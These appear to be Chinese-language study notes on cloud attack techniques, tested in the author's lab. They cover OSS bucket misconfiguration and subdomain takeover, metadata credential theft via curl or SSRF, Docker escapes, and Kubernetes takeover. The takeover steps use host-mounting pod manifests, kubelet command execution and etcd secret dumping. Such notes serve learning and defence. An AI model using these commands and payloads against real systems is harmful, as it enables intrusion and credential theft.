云安全学习篇#
OSS#
权限配置#
oss存储桶有三种情况,一种是私有,需要id和key才能访问存储桶内的文件。另一种是公共读,即访问无限制,任何人可以访问。最后一种是公共读写,即任何人可以读和写,使用PUT方法即可上传任意文件

公共读还存在一个安全问题,即如果开启了ListObject,那么任何人都可以看到存储桶内的文件,以文件列表形式展示,类似目录遍历
域名接管#
一般来说存储桶不会解析像html这种文件,但是如果配置了域名绑定,也就是配置了CNAME,那么html就可以解析了,可以导致xss
域名接管就是基于域名绑定CNAME的配置没有删除,只删除了存储桶
举个例,比如你的oss地址是xxx.oss-cn-shenzhen.aliyuncs.com,此时你将images.aaa.com的域名绑定在了xxx.oss-cn-shenzhen.aliyuncs.com,也就是一条CNAME记录。之后你不想要这个存储桶了,于是删除了xxx.oss-cn-shenzhen.aliyuncs.com这个存储桶,但是你忘记删除CNAME记录了,也就是说此时images.aaa.com的域名还存在一条CNAME记录指向xxx.oss-cn-shenzhen.aliyuncs.com。
此时攻击者就可以自己创建一个xxx.oss-cn-shenzhen.aliyuncs.com,名称相同的存储桶,此时他对该存储桶是有读写权限的,而你的域名images.aaa.com又恰好指向xxx.oss-cn-shenzhen.aliyuncs.com,这就造成了images.aaa.com子域名接管
攻击场景
像如果你发现一个oss存储桶出现NosuchBucket提示,说明可能会存在域名接管。

ECS#
元数据#
元数据服务是一种提供查询运行中的实例内元数据的服务,简单来说就是云服务器可以通过访问元数据服务,来得到本机上的属性信息,同时,如果此时该实例存在RAM访问控制设置,也就是某个角色授权了该实例,那么就可以获得与该实例绑定角色的临时凭证,并通过该临时凭证获得云服务器的控制台权限,进而横向到其他机器。
阿里云元数据地址: http://100.100.100.200/
腾讯云元数据地址: http://metadata.tencentyun.com/
华为云元数据地址: http://169.254.169.254/
亚马云元数据地址: http://169.254.169.254/
微软云元数据地址: http://169.254.169.254/
谷歌云元数据地址: http://metadata.google.internal/通过访问元数据的 /iam/security-credentials/<rolename> 路径可以获得目标的临时凭证,进而接管目标服务器控制台账号权限,前提是目标需要配置 IAM 角色才行,不然访问会 404
curl http://169.254.169.254/latest/meta-data/iam/security-credentials
因此接管整个云服务只需获得到aksk即可
那么如何获取呢,第一种方法就是寻找代码中有没有泄露aksk。第二种方法是使用实例去访问元数据服务,获取临时凭证。
那么第二种方法很显然需要shell,能够执行curl命令,访问元数据。那么还有没有方法可以获取到呢?
我们要注意的是这里的请求是http请求,那么联系其他漏洞,是否可以使用ssrf去访问到元数据呢?答案是肯定的,不过需要有回显的ssrf,获取到aksk。再用cf接管整个云服务。
docker#
docker逃逸是个老话题,之前没有系统学习,学得都比较杂,这次整理一下笔记
逃逸不过三种方法,但是需要注意的是,除了linux内核逃逸,其他都需要root权限
- 特权模式
- 危险挂载
- docker自身组件漏洞或linux内核漏洞
特权模式#
Linux Capabilities介绍#
Linux 是一种安全的操作系统,它把所有的系统权限都赋予了一个单一的 root 用户,只给普通用户保留有限的权限。root 用户拥有超级管理员权限,可以安装软件、允许某些服务、管理用户等。
作为普通用户,如果想执行某些只有管理员才有权限的操作,以前只有两种办法:一是通过 sudo 提升权限,如果用户很多,配置管理和权限控制会很麻烦;二是通过 SUID(Set User ID on execution)来实现,它可以让普通用户允许一个 owner 为 root 的可执行文件时具有 root 的权限。
SUID 的概念比较晦涩难懂,举个例子就明白了,以常用的 passwd 命令为例,修改用户密码是需要 root 权限的,但普通用户却可以通过这个命令来修改密码,这就是因为 /bin/passwd 被设置了 SUID 标识,所以普通用户执行 passwd 命令时,进程的 owner 就是 passwd 的所有者,也就是 root 用户。
SUID 虽然可以解决问题,但却带来了安全隐患。当运行设置了 SUID 的命令时,通常只是需要很小一部分的特权,但是 SUID 给了它 root 具有的全部权限。这些可执行文件是黑客的主要目标,如果他们发现了其中的漏洞,就很容易利用它来进行安全攻击。简而言之,SUID 机制增大了系统的安全攻击面。
为了对 root 权限进行更细粒度的控制,实现按需授权,Linux 引入了另一种机制叫 capabilities。
Linux capabilities 是什么?#
Capabilities 机制是在 Linux 内核 2.2 之后引入的,原理很简单,就是将之前与超级用户 root(UID=0)关联的特权细分为不同的功能组,Capabilites 作为线程(Linux 并不真正区分进程和线程)的属性存在,每个功能组都可以独立启用和禁用。其本质上就是将内核调用分门别类,具有相似功能的内核调用被分到同一组中。
这样一来,权限检查的过程就变成了:在执行特权操作时,如果线程的有效身份不是 root,就去检查其是否具有该特权操作所对应的 capabilities,并以此为依据,决定是否可以执行特权操作。
Capabilities 可以在进程执行时赋予,也可以直接从父进程继承。所以理论上如果给 nginx 可执行文件赋予了 CAP_NET_BIND_SERVICE capabilities,那么它就能以普通用户运行并监听在 80 端口上。
| capability 名称 | 描述 |
|---|---|
| CAP_AUDIT_CONTROL | 启用和禁用内核审计;改变审计过滤规则;检索审计状态和过滤规则 |
| CAP_AUDIT_READ | 允许通过 multicast netlink 套接字读取审计日志 |
| CAP_AUDIT_WRITE | 将记录写入内核审计日志 |
| CAP_BLOCK_SUSPEND | 使用可以阻止系统挂起的特性 |
| CAP_CHOWN | 修改文件所有者的权限 |
| CAP_DAC_OVERRIDE | 忽略文件的 DAC 访问限制 |
| CAP_DAC_READ_SEARCH | 忽略文件读及目录搜索的 DAC 访问限制 |
| CAP_FOWNER | 忽略文件属主 ID 必须和进程用户 ID 相匹配的限制 |
| CAP_FSETID | 允许设置文件的 setuid 位 |
| CAP_IPC_LOCK | 允许锁定共享内存片段 |
| CAP_IPC_OWNER | 忽略 IPC 所有权检查 |
| CAP_KILL | 允许对不属于自己的进程发送信号 |
| CAP_LEASE | 允许修改文件锁的 FL_LEASE 标志 |
| CAP_LINUX_IMMUTABLE | 允许修改文件的 IMMUTABLE 和 APPEND 属性标志 |
| CAP_MAC_ADMIN | 允许 MAC 配置或状态更改 |
| CAP_MAC_OVERRIDE | 忽略文件的 DAC 访问限制 |
| CAP_MKNOD | 允许使用 mknod() 系统调用 |
| CAP_NET_ADMIN | 允许执行网络管理任务 |
| CAP_NET_BIND_SERVICE | 允许绑定到小于 1024 的端口 |
| CAP_NET_BROADCAST | 允许网络广播和多播访问 |
| CAP_NET_RAW | 允许使用原始套接字 |
| CAP_SETGID | 允许改变进程的 GID |
| CAP_SETFCAP | 允许为文件设置任意的 capabilities |
| CAP_SETPCAP | 参考 capabilities man page |
| CAP_SETUID | 允许改变进程的 UID |
| CAP_SYS_ADMIN | 允许执行系统管理任务,如加载或卸载文件系统、设置磁盘配额等 |
| CAP_SYS_BOOT | 允许重新启动系统 |
| CAP_SYS_CHROOT | 允许使用 chroot() 系统调用 |
| CAP_SYS_MODULE | 允许插入和删除内核模块 |
| CAP_SYS_NICE | 允许提升优先级及设置其他进程的优先级 |
| CAP_SYS_PACCT | 允许执行进程的 BSD 式审计 |
| CAP_SYS_PTRACE | 允许跟踪任何进程 |
| CAP_SYS_RAWIO | 允许直接访问 /devport、/dev/mem、/dev/kmem 及原始块设备 |
| CAP_SYS_RESOURCE | 忽略资源限制 |
| CAP_SYS_TIME | 允许改变系统时钟 |
| CAP_SYS_TTY_CONFIG | 允许配置 TTY 设备 |
| CAP_SYSLOG | 允许使用 syslog() 系统调用 |
| CAP_WAKE_ALARM | 允许触发一些能唤醒系统的东西(比如 CLOCK_BOOTTIME_ALARM 计时器) |
Privileged 特权模式#
首先来讲一下特权模式
docker run --rm -it --privileged=true ubuntu:18.04判断是否为特权模式
在容器内部执行下面的命令,从而判断容器是不是特权模式,如果是以特权模式启动的话,CapEff 对应的掩码值应该为0000003fffffffff 或者是 0000001fffffffff
cat /proc/self/status | grep CapEff特权模式下逃逸很简单,直接挂载宿主机根目录,添加任务计划或公钥即可
执行fdisk -l
Device Start End Sectors Size Type
/dev/sda1 2048 4095 2048 1M BIOS boot
/dev/sda2 4096 1054719 1050624 513M EFI System
/dev/sda3 1054720 125827071 124772352 59.5G Linux filesystem然后挂载宿主机根目录到任意目录下
mkdir /test && mount /dev/sda3 /test此时添加任务计划或写入公钥就可以获取宿主机shell了


SYS_PTRACE权限#
https://blog.csdn.net/CQ17743254852/article/details/133853670?spm=1001.2014.3001.5502
SYS_ADMIN权限#
https://blog.csdn.net/CQ17743254852/article/details/133824649?spm=1001.2014.3001.5502
危险挂载#
Docker Socket挂载#
Docker Socket挂载是将docker socket api挂载进容器内,因此容器内可以操作宿主机的docker socket api,所以我们可以新建一个容器,将宿主机的根目录挂载进新的容器内
docker run -itd --name test -v /var/run/docker.sock:/var/run/docker.sock ubuntu:18.04判断是否存在docker socket
root@410264c5488a:/# ls -lah /var/run/docker.sock
srw-rw---- 1 root 138 0 Jun 16 2024 /var/run/docker.sock
root@410264c5488a:/# find / -name docker.sock
/run/docker.sock容器内安装docker,新建一个容器,将宿主机的根目录挂载进新的容器内,然后chroot到宿主机目录即可

procfs文件挂载#
https://blog.csdn.net/CQ17743254852/article/details/133847625?spm=1001.2014.3001.5502
docker自身组件漏洞或linux内核漏洞#
CVE-2019-5736#
https://blog.csdn.net/CQ17743254852/article/details/133857208?spm=1001.2014.3001.5502
CVE-2020-15257#
https://blog.csdn.net/CQ17743254852/article/details/133799809?spm=1001.2014.3001.5502
kubernetes#
以下是k8s的大致结构,存在master主控节点和node工作节点,master通过api server控制node节点,下发工作任务,同时还有etcd存储节点信息、pod和容器状态等等。
node节点通过kubelet接收master节点下发的工作任务,创建或销毁pod,这里的pod就等同于docker容器。

接下来简单讲下大致的攻击点有哪些
api server未授权#
api server未授权存在两种情况,一种是k8s版本<1.16或大于1.16版本却启用了不安全的配置,暴露了不安全的8080端口,使得攻击者可以直接操作api server。
另一种是k8s>1.16,如果配置不当,将 “system:anonymous” 用户绑定到 “cluster-admin” 用户组,则会使得 6443 端口允许匿名用户以管理员权限访问。
如果存在这样的页面,一般都会存在未授权访问

8080端口#
kubectl -s <url> get nodes #获取所有节点
kubectl -s <url> get pods #获取所有容器
kubectl -s <url> apply -f test.yaml #部署恶意容器
kubectl -s <url> exec -it test /bin/bash #进入刚刚创建好的容器test.yaml的内容
apiVersion: v1
kind: Pod
metadata:
name: test
spec :
containers:
- image: nginx
name: test-container
volumeMounts :
- mountPath: /mnt
name: test-volume
volumes :
- name: test-volume
hostPath:
path: /这里使用自己搭建的环境测试,本地就不需要-s参数了

然后查看/mnt是否为node宿主机目录
无docker文件,确定为宿主机目录

接下来写公钥或写任务计划获取shell都可以

6443端口#
远程获取所有节点信息,用户名和密码随意输入
$ kubectl -s https://192.168.239.100:6443 --insecure-skip-tls-verify get nodes
Please enter Username: sf
Please enter Password: NAME STATUS ROLES AGE VERSION
k8s-master Ready control-plane,master 21h v1.22.0
k8s-node1 Ready <none> 21h v1.22.0
k8s-node2 Ready <none> 21h v1.22.0然后我们需要发送post数据包来创建恶意容器
{
"apiVersion": "v1",
"kind": "Pod",
"metadata": {
"annotations": {
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test-4444\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test-4444\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"
},
"name": "sectest",
"namespace": "default"
},
"spec": {
"containers": [
{
"image": "nginx:1.14.2",
"name": "test-4444",
"volumeMounts": [
{
"mountPath": "/host",
"name": "host"
}
]
}
],
"volumes": [
{
"hostPath": {
"path": "/",
"type": "Directory"
},
"name": "host"
}
]
}
}服务器返回201created(我这里使用了我朋友的镜像仓库,不然nginx镜像拉不下来)

此时查看pod

kubectl -s https://192.168.239.100:6443 --insecure-skip-tls-verify get pods
kubectl -s https://192.168.239.100:6443 --insecure-skip-tls-verify exec -it sectest -- /bin/bash接下来的逃逸方法就和8080端口相同了
kubelet未授权#
kubelet未授权端口为10250,若访问https://192.168.239.101:10250/pods地址出现如下图所示的情况,大概率会有kubelet未授权

https://192.168.239.101:10250/runningpods/ #展示当前正在运行的pod
curl -XPOST -k "https://192.168.239.101:10250/run/<namespace>/<pod>/<container>" -d "cmd=id" #对应pod执行命令

etcd未授权#
etcd有v2和v3两个版本,现在的k8s大多都使用的是v3版本
v2版本利用
https://ip:2379/v2/keys?recursive=true #直接访问该url即可获取到所有的key-valuev3版本利用
需要用到etcdctl客户端
https://github.com/etcd-io/etcd
./etcdctl --endpoints=ip:2379 get / --prefix #获取所有的key-value
./etcdctl --endpoints=ip:2379 put /a/b "values" #put一个键值
./etcdctl --endpoints=ip:2379 get / --prefix --keys-only | grep /secrets/ #寻找token
#获取到token后直接调用api
kubectl --insecure-skip-tls-verify -s https://ip:6443/ --token="[ey...]" -n kube-system get pods dashbroad未授权#
dashbroad未授权是由于管理员在部署k8s dashbroad时增加了 --enable-skip-login选项,造成可以skip跳过登录验证,直接进入控制面板,操作api server
config文件泄露#
config文件位于$HOME/.kube/config,若该文件泄露,攻击者可直接调用api server

kubectl-proxy不安全配置#
kubectl-proxy顾名思义就是一个代理组件,可以将服务和端口暴露出去,若管理员将api server暴露出去,将造成api server未授权
执行以下命令就可以将api server暴露出去
kubectl --insecure-skip-tls-verify proxy --accept-hosts=^.*$ --address=0.0.0.0 --port=8009可以看到本来需要身份认证的api,现在可以直接访问,造成api server 未授权

k8s中的污点和容忍度概念#
以下是chatgpt-4o的解释,我认为解释得非常清楚
在 Kubernetes 中,污点(Taint) 和 容忍(Toleration) 是用来控制 Pod 在特定节点上的调度的一种机制。污点横移(Taint Propagation)是指在一个节点上设置的污点可能会通过 Pod 或者节点的亲和性(Affinity)规则,影响到与之关联的其他节点或 Pod 的调度。
污点和容忍的基本概念
- 污点(Taint):
- 污点是节点上的一个属性,它标记了一个节点的某种“特殊”状态(比如节点不可用、节点有问题等)。当一个节点上有污点时,默认情况下,Kubernetes 不会调度 Pod 到这个节点上,除非该 Pod 对应有容忍。
- 污点的格式是:
key=value:effect,其中:key和value是键值对,用来描述污点的具体内容。effect是污点的效果,有三个选项:NoSchedule:表示不调度 Pod 到该节点。PreferNoSchedule:表示尽量避免调度 Pod 到该节点,但如果没有其他选择,可以调度。NoExecute:表示不仅不调度 Pod 到该节点,还会驱逐已经在该节点上的 Pod。
- 容忍(Toleration):
- 容忍是 Pod 对污点的容忍度,它允许 Pod 被调度到带有相应污点的节点上。Pod 的容忍度和节点的污点相匹配时,Pod 就能在该节点上调度或继续运行。
- 容忍的格式是:
key=value:effect,它与污点的格式对应。
污点横移#
从 Kubernetes 1.6 版本开始,Kubernetes 默认为 master 节点 添加了污点 node-role.kubernetes.io/master:NoSchedule。这个污点的作用是防止调度器将 Pod 默认调度到 master 节点,从而提高集群的安全性和稳定性。
我们可以创建一个具有NoSchedule容忍度的恶意pod,此时该pod创建在master和node节点上的概率就相同了,因为该pod容忍了NoSchedule,一旦存在某个恶意pod创建在了master上,我们就可以获取到master的主机权限了。
apiVersion: vl
kind: Pod
metadata:
name: control-master-3
spec:
tolerations:
- key: node-role.kubernetes.io/master
operator: Exists
effect: NoSchedule
containers:
- name: control-master-3
image: registry.cn-chengdu.aliyuncs.com/su03/nginx:latest
command: ["/bin/sleep", "3650d"]
volumeMounts:
- name: master
mountPath: /master
volumes:
- name: master
hostPath:
path: /
type: Directory在拿到node权限后进行横向获取其他node和master主机权限。但我搭建的1.22版本的k8s并没有符合我的预期,反而一直创建在node节点上
[root@k8s-master ~]# kubectl get pods -o wide
NAME READY STATUS RESTARTS AGE IP NODE NOMINATED NODE READINESS GATES
control-master-1 1/1 Running 0 4m10s 10.244.2.3 k8s-node2 <none> <none>
control-master-2 1/1 Running 0 3m43s 10.244.1.11 k8s-node1 <none> <none>
control-master-3 1/1 Running 0 4m40s 10.244.1.10 k8s-node1 <none> <none>
control-master-4 1/1 Running 0 3m3s 10.244.1.12 k8s-node1 <none> <none>
control-master-5 1/1 Running 0 98s 10.244.2.4 k8s-node2 <none> <none>
control-master-6 1/1 Running 0 84s 10.244.2.5 k8s-node2 <none> <none>
control-master-7 1/1 Running 0 67s 10.244.1.13 k8s-node1 <none> <none>
test 1/1 Running 0 46h 10.244.2.2 k8s-node2 <none> <none>这是因为master 节点通常有 node-role.kubernetes.io/master:NoSchedule 或 node-role.kubernetes.io/control-plane:NoSchedule 污点,导致 Flannel 的 DaemonSet(如 kube-flannel-ds)默认不会调度到 master 节点。因此,master 节点上没有运行 Flannel 相关的容器,/run/flannel/subnet.env 文件也未生成。
那为什么这篇文章可以呢?
https://cn-sec.com/archives/1336486.html
在较早版本中,Flannel 的官方 kube-flannel.yml 配置文件可能默认包含了对 node-role.kubernetes.io/master:NoSchedule 污点的容忍度。这意味着 Flannel 的 Pod(kube-flannel-ds)可以调度到 master 节点,无需额外修改。
参考文章:
https://wiki.teamssix.com/CloudService/
https://blog.csdn.net/lza20001103/article/details/147054749